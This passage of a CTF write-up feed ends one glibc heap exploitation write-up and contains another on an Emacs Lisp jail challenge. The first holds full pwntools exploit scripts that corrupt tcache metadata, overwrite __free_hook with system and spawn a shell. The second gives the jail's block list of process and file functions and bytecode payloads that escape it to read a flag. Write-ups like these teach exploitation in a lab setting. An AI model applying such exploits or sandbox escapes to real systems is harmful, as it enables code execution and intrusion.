</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;I&#34;</span>)
</span></span><span style="display:flex;"><span>free(chunk_H)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 tcachebin: [chunk H] -&gt; ...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 fastbin: [chunk H] -&gt; &amp;__free_hook</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">for</span> i <span style="color:#00d3d0">in</span> <span style="color:#f78fe7">range</span>(<span style="color:#00bcff">6</span>):
</span></span><span style="display:flex;"><span>    malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span><span style="color:#f78fe7">chr</span>(<span style="color:#f78fe7">ord</span>(<span style="color:#79a8ff">&#39;K&#39;</span>)<span style="color:#00d3d0">+</span>i)<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>chunk_R <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>) <span style="color:#a8a8a8"># dump rest of 0x20 fastbin to 0x20 tcachebin</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span>free(chunk_R)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h3 id="challenge-solve">Challenge solve</h3>
<p>Normally we could just free a chunk a bunch of times to fill up the tcache, but we have a limited number of frees: what to do?
If we were dealing with other bins we&rsquo;d be in a tough situation, but the tcache stores its metadata on the heap, which is our domain!</p>
<p>We&rsquo;ll do most of our work in a single victim chunk, which we&rsquo;ll have two handles to: one &ldquo;alive&rdquo; pointer (with <kbd>in_use=1</kbd>) that we can read from and one &ldquo;dead&rdquo; pointer we can continuously call free on.
After setting that up we can leak the heap with a tcache dup, which results in our victim chunk pointing to itself.
Once we do that we can overwrite this pointer with the start of the <kbd>tcache</kbd> struct and call <kbd>malloc</kbd> twice to get a chunk that overlaps <kbd>tcache</kbd>.
We use this chunk to artificially mark the <code>0x240</code> tcachebin as being full (taking care to set the head pointer back to <kbd>tcache</kbd> so we can edit it again in the future); this allows us to free a chunk into the unsortedbin and get a libc leak.
Armed with our leaks, we can now request another <code>0x240</code> chunk to edit <kbd>tcache</kbd> again, and this time we set the head of the <code>0x240</code> tcachebin to point to the <kbd>__free_hook</kbd>.</p>
<p>An allocation and a <kbd>free</kbd> later and we have a shell!</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;tcache_troll&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">read</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    ret <span style="color:#00d3d0">=</span> proc<span style="color:#00d3d0">.</span>recvline()[:<span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span>]
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_A <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>) <span style="color:#a8a8a8"># &#34;free&#34; handle</span>
</span></span><span style="display:flex;"><span>chunk_B <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>) <span style="color:#a8a8a8"># padding</span>
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span>chunk_C <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;C&#34;</span>) <span style="color:#a8a8a8"># &#34;read&#34; handle</span>
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x240 tcachebin: [chunk A] -&gt; [chunk A] -&gt; ...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> unpack(read(chunk_C)) <span style="color:#00d3d0">-</span> (<span style="color:#00bcff">0x250</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x10</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x240 tcachebin: [chunk A] -&gt; [&amp;heap+0x10]</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;DDDDDDDDDDD&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x240 tcachebin: [&amp;heap+0x10]</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">34</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x07</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">29</span> <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0</span>)<span style="color:#00d3d0">*</span><span style="color:#00bcff">34</span> <span style="color:#00d3d0">+</span> p64(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x240 tcachebin: [&amp;heap+0x10] (marked as full)</span>
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk A]</span>
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> unpack(read(chunk_C)) <span style="color:#00d3d0">-</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>main_arena<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x60</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">34</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x07</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">29</span> <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0</span>)<span style="color:#00d3d0">*</span><span style="color:#00bcff">34</span> <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x240 tcachebin: [&amp;__free_hook] (marked as full)</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span>free(chunk_B)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Note that non-fastbin chunks have additional metadata; see the <a href="https://elixir.bootlin.com/glibc/glibc-2.30/source/malloc/malloc.c#L1062-L1167">Glibc explanation</a> for more info.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>This is one of the OG heap exploits, used all the way back in 2000 to <a href="https://www.openwall.com/articles/JPEG-COM-Marker-Vulnerability">pwn Netscape</a>.&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>We could also set this fake chunk&rsquo;s <kbd>fd</kbd> and <kbd>bk</kbd> pointers to point to itself instead of constructing a fake <kbd>victim-&gt;bk-&gt;fd</kbd> on the heap.&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Note that it must be exactly 8, i.e. the AMP flags must be cleared&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Emacsjail]]></title>
    <link href="https://feyor.sh/writeups/emacsjail/"/>
    <id>https://feyor.sh/writeups/emacsjail/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2025-11-08T00:00:00+00:00</published>
    <updated>2025-12-24T13:31:45-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/writeups/emacsjail/"><![CDATA[<p><strong>Emacsjail</strong> was an Emacs Lisp jail challenge I wrote for UIUCTF 2025.
There were 17 solves during the competition, some of which were quite creative!</p>
<h2 id="description">Description</h2>
<blockquote>
<p>Mom, can we have SBCL?</p>
<p>No, we have SBCL at home.</p>
<p>SBCL at home:</p></blockquote>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span><span style="color:#a8a8a8">;;; -*- lexical-binding:t -*-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(<span style="color:#f78fe7">defun</span> <span style="color:#00d3d0">check</span> (<span style="color:#00d3d0">input</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#00d3d0">not</span> (<span style="color:#00d3d0">string-match-p</span> <span style="color:#79a8ff">&#34;.*(.*).*&#34;</span> <span style="color:#00d3d0">input</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(<span style="color:#f78fe7">defun</span> <span style="color:#00d3d0">panic</span> (<span style="color:#00d3d0">str</span> <span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">fmt</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">message</span> <span style="color:#00d3d0">str</span> <span style="color:#00d3d0">fmt</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">kill-emacs</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(<span style="color:#f78fe7">let*</span> ((<span style="color:#00d3d0">input</span> (<span style="color:#feacd0">read-string</span> <span style="color:#79a8ff">&#34;Input: &#34;</span>))
</span></span><span style="display:flex;"><span>       (<span style="color:#00d3d0">code</span> (<span style="color:#f78fe7">if</span> (<span style="color:#00d3d0">check</span> <span style="color:#00d3d0">input</span>)
</span></span><span style="display:flex;"><span>                 (<span style="color:#feacd0">car</span> (<span style="color:#feacd0">read-from-string</span> <span style="color:#00d3d0">input</span>))
</span></span><span style="display:flex;"><span>            (<span style="color:#00d3d0">panic</span> <span style="color:#79a8ff">&#34;no eval for you&#34;</span>))))
</span></span><span style="display:flex;"><span>  (<span style="color:#00d3d0">find-file-noselect</span> <span style="color:#79a8ff">&#34;./flag.txt&#34;</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">mapcar</span>
</span></span><span style="display:flex;"><span>   (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">sym</span>)
</span></span><span style="display:flex;"><span>       (<span style="color:#00d3d0">advice-add</span> <span style="color:#00d3d0">sym</span> <span style="color:#f78fe7">:before</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">_</span>) (<span style="color:#00d3d0">panic</span> <span style="color:#79a8ff">&#34;no functional programming allowed: %s&#34;</span> (<span style="color:#feacd0">symbol-name</span> <span style="color:#00d3d0">sym</span>)))))
</span></span><span style="display:flex;"><span>   <span style="color:#00d3d0">&#39;</span>(<span style="color:#feacd0">buffer-size</span> <span style="color:#feacd0">following-char</span> <span style="color:#feacd0">preceding-char</span> <span style="color:#feacd0">char-after</span> <span style="color:#feacd0">char-before</span>
</span></span><span style="display:flex;"><span>     <span style="color:#feacd0">buffer-string</span> <span style="color:#feacd0">buffer-substring</span> <span style="color:#feacd0">buffer-substring-no-properties</span> <span style="color:#feacd0">compare-buffer-substrings</span> <span style="color:#feacd0">subst-char-in-region</span> <span style="color:#feacd0">delete-and-extract-region</span>
</span></span><span style="display:flex;"><span>     <span style="color:#feacd0">call-process</span> <span style="color:#feacd0">call-process-region</span> <span style="color:#feacd0">getenv-internal</span>
</span></span><span style="display:flex;"><span>     <span style="color:#feacd0">find-file-name-handler</span>
</span></span><span style="display:flex;"><span>     <span style="color:#feacd0">copy-file</span> <span style="color:#feacd0">rename-file</span> <span style="color:#feacd0">add-name-to-file</span> <span style="color:#feacd0">make-symbolic-link</span> <span style="color:#feacd0">access-file</span> <span style="color:#feacd0">insert-file-contents</span>))
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">unless</span> (<span style="color:#feacd0">functionp</span> <span style="color:#00d3d0">code</span>) (<span style="color:#00d3d0">panic</span> <span style="color:#79a8ff">&#34;only functional programming allowed&#34;</span>))
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">message</span> (<span style="color:#feacd0">funcall</span> <span style="color:#00d3d0">code</span>))
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">kill-emacs</span>))</span></span></code></pre></div>
</details>

<p><a id="code-snippet--emacsjail-revenge"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Diff</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>Bonus round: revengeance
</span></span><span style="display:flex;"><span>--- a/challenge.el
</span></span><span style="display:flex;"><span>+++ b/challenge.el
</span></span><span style="display:flex;"><span>@@ -18,7 +18,9 @@
</span></span><span style="display:flex;"><span>    &#39;(buffer-size following-char preceding-char char-after char-before
</span></span><span style="display:flex;"><span>      buffer-string buffer-substring buffer-substring-no-properties compare-buffer-substrings subst-char-in-region delete-and-extract-region
</span></span><span style="display:flex;"><span>      call-process call-process-region getenv-internal
</span></span><span style="display:flex;"><span>+     set-process-plist make-process make-pipe-process make-serial-process make-network-process
</span></span><span style="display:flex;"><span>      find-file-name-handler
</span></span><span style="display:flex;"><span>+     set-buffer get-buffer get-buffer-create get-file-buffer get-truename-buffer other-buffer find-buffer buffer-local-value buffer-local-variables buffer-swap-text make-overlay
</span></span><span style="display:flex;"><span>      copy-file rename-file add-name-to-file make-symbolic-link access-file insert-file-contents))
</span></span><span style="display:flex;"><span>   (unless (functionp code) (panic &#34;only functional programming allowed&#34;))
</span></span><span style="display:flex;"><span>   (message (funcall code))
</span></span></code></pre></div>
</details>

<h2 id="solution">Solution</h2>
<p>So we&rsquo;re writing Lisp code without parens&hellip; a little cursed, but ok.
The first insight is that the read syntax for <a href="https://www.gnu.org/software/emacs/manual/html_node/elisp/Closure-Type.html" title="Emacs Lisp: (info \&#34;(elisp) Closure Type\&#34;)">closures</a> doesn&rsquo;t (necessarily) use any parentheses if we use bytecode.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#feacd0">format</span> <span style="color:#79a8ff">&#34;%s (%s check)\n%s (%s check)&#34;</span>
</span></span><span style="display:flex;"><span>        (<span style="color:#f78fe7">lambda</span> nil) (<span style="color:#f78fe7">if</span> (<span style="color:#00d3d0">check</span> (<span style="color:#feacd0">prin1-to-string</span> (<span style="color:#f78fe7">lambda</span> nil))) <span style="color:#79a8ff">&#34;passes&#34;</span> <span style="color:#79a8ff">&#34;fails&#34;</span>)
</span></span><span style="display:flex;"><span>        (<span style="color:#00d3d0">byte-compile</span> (<span style="color:#f78fe7">lambda</span> nil)) (<span style="color:#f78fe7">if</span> (<span style="color:#00d3d0">check</span> (<span style="color:#feacd0">prin1-to-string</span> (<span style="color:#00d3d0">byte-compile</span> (<span style="color:#f78fe7">lambda</span> nil)))) <span style="color:#79a8ff">&#34;passes&#34;</span> <span style="color:#79a8ff">&#34;fails&#34;</span>))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>&#34;#[nil (nil) (t)] (fails check)
</span></span><span style="display:flex;"><span>#[0 \\300\\207 [nil] 1] (passes check)&#34;</span></span></code></pre></div>

<p>The second insight is that Emacs advice does not apply to functions which have dedicated opcodes in the Emacs Lisp bytecode interpreter.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>
Naturally, this behaviour is documented in the Emacs manual.</p>
<blockquote>
<p>It is possible to advise a primitive (see <a href="https://www.gnu.org/software/emacs/manual/html_node/elisp/What-Is-a-Function.html" title="Emacs Lisp: (info \&#34;(elisp) What Is a Function\&#34;)">What Is a Function?</a>), but one should typically not do so, for two reasons. Firstly, some primitives are used by the advice mechanism, and advising them could cause an infinite recursion. Secondly, many primitives are called directly from C, and such calls ignore advice; hence, one ends up in a confusing situation where some calls (occurring from Lisp code) obey the advice and other calls (from C code) do not.</p></blockquote>
<p>There are two such functions, <kbd>set-buffer</kbd> and <kbd>buffer-substring</kbd>, that allow us to extricate the flag.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#f78fe7">defun</span> <span style="color:#00d3d0">disass</span> (<span style="color:#00d3d0">form</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">with-temp-buffer</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#00d3d0">disassemble</span> (<span style="color:#00d3d0">byte-compile</span> <span style="color:#00d3d0">form</span>) (<span style="color:#feacd0">current-buffer</span>))
</span></span><span style="display:flex;"><span>    (<span style="color:#feacd0">buffer-string</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(<span style="color:#00d3d0">disass</span> (<span style="color:#f78fe7">lambda</span> () (<span style="color:#feacd0">set-buffer</span> <span style="color:#79a8ff">&#34;*flag.txt*&#34;</span>) (<span style="color:#feacd0">buffer-substring</span> (<span style="color:#feacd0">point-min</span>) (<span style="color:#feacd0">point-max</span>))))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>&#34;byte code:
</span></span><span style="display:flex;"><span>  args: nil
</span></span><span style="display:flex;"><span>0       constant  \&#34;*flag.txt*\&#34;
</span></span><span style="display:flex;"><span>1       set-buffer
</span></span><span style="display:flex;"><span>2       discard
</span></span><span style="display:flex;"><span>3       point-min
</span></span><span style="display:flex;"><span>4       point-max
</span></span><span style="display:flex;"><span>5       buffer-substring
</span></span><span style="display:flex;"><span>6       return
</span></span><span style="display:flex;"><span>&#34;</span></span></code></pre></div>

<p>(Note that <kbd>byte-compile</kbd> can behave strangely depending on your Emacs version and you might have to write the bytecode by hand, in which case the <a href="https://rocky.github.io/elisp-bytecode.pdf">Emacs Lisp Bytecode Reference Manual</a> is very useful.)</p>
<p>At least, that was the intended solve: as it turns out, I forgot to advise <a href="/writeups/emacsjail/#code-snippet--emacsjail-revenge">quite a few functions</a>.
Take for example the following solution:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#00d3d0">disass</span> (<span style="color:#feacd0">car</span> (<span style="color:#feacd0">read-from-string</span> <span style="color:#79a8ff">&#34;#[0 \&#34;\\300\\301!\\210\\305\\302\\303 \\304 \\\&#34;!\\207\&#34; [set-buffer \&#34;flag.txt\&#34; filter-buffer-substring point-min point-max message] 3]&#34;</span>)))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>&#34;byte code:
</span></span><span style="display:flex;"><span>  args: nil
</span></span><span style="display:flex;"><span>0       constant  set-buffer
</span></span><span style="display:flex;"><span>1       constant  \&#34;flag.txt\&#34;
</span></span><span style="display:flex;"><span>2       call      1
</span></span><span style="display:flex;"><span>3       discard
</span></span><span style="display:flex;"><span>4       constant  message
</span></span><span style="display:flex;"><span>5       constant  filter-buffer-substring
</span></span><span style="display:flex;"><span>6       constant  point-min
</span></span><span style="display:flex;"><span>7       call      0
</span></span><span style="display:flex;"><span>8       constant  point-max
</span></span><span style="display:flex;"><span>9       call      0
</span></span><span style="display:flex;"><span>10      call      2
</span></span><span style="display:flex;"><span>11      call      1
</span></span><span style="display:flex;"><span>12      return
</span></span><span style="display:flex;"><span>&#34;</span></span></code></pre></div>

<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
